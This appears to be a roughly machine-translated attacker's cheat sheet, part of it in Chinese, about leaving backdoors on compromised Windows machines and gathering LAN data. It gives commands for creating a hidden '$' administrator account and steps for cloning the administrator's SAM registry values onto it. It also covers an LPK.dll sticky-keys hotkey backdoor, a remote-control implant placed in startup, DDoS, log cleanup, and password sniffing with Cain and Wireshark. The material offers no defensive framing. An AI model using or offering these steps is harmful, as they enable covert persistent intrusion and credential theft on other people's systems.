Windows left backdoor with LAN grab bag

Sniffer 3389 Password
Wireshark
Cain

Windows installation Backdoor:
Account Back door:
NET user
NET user account $ password/add add $ to hide account
NET Localgrop Administrators account/add
NET user account/del Delete account

系统自带账号改密码  记录名字regedit   打开注册表HKEY_LOCAL_MACHINE->SAM->SAM右键设置权限   刷新   users->name  找到账号  看类型   上面找到该账号先找到管理员(administrator)账号  双击类型为REG_BINATY第一个  所有数据复制粘贴进后门账号关闭sam文件夹权限

LPK Backdoor:
Generate Lpk.dll
Key value is ASCII code, 2 keys simultaneously press 2 keys, 3 keys simultaneously press three keys to generate
EXE executable program triggers
Five times shift, press the set hotkey, Eject Password box, enter password login
XXX Backdoor:
Remote control on-line +xxx-free, xxx thrown into the boot entry
Part with pressure test remote control can be carried out ddosxxx
Windows Cleanup traces downloadable cleanup tool
Allow external connection:
Tools: Navicat Premium Essentials
Do not allow external connection:
Script

Information collection:
Nmap
Zenmap
Scanport
Ntscan
Arp-a
NET view to see the host name of another computer
View IP:
Ipconfig

Getpass

Traffic monitoring:
Wiresharke
Cain
Sniffer Pass

Windows left backdoor with LAN grab bag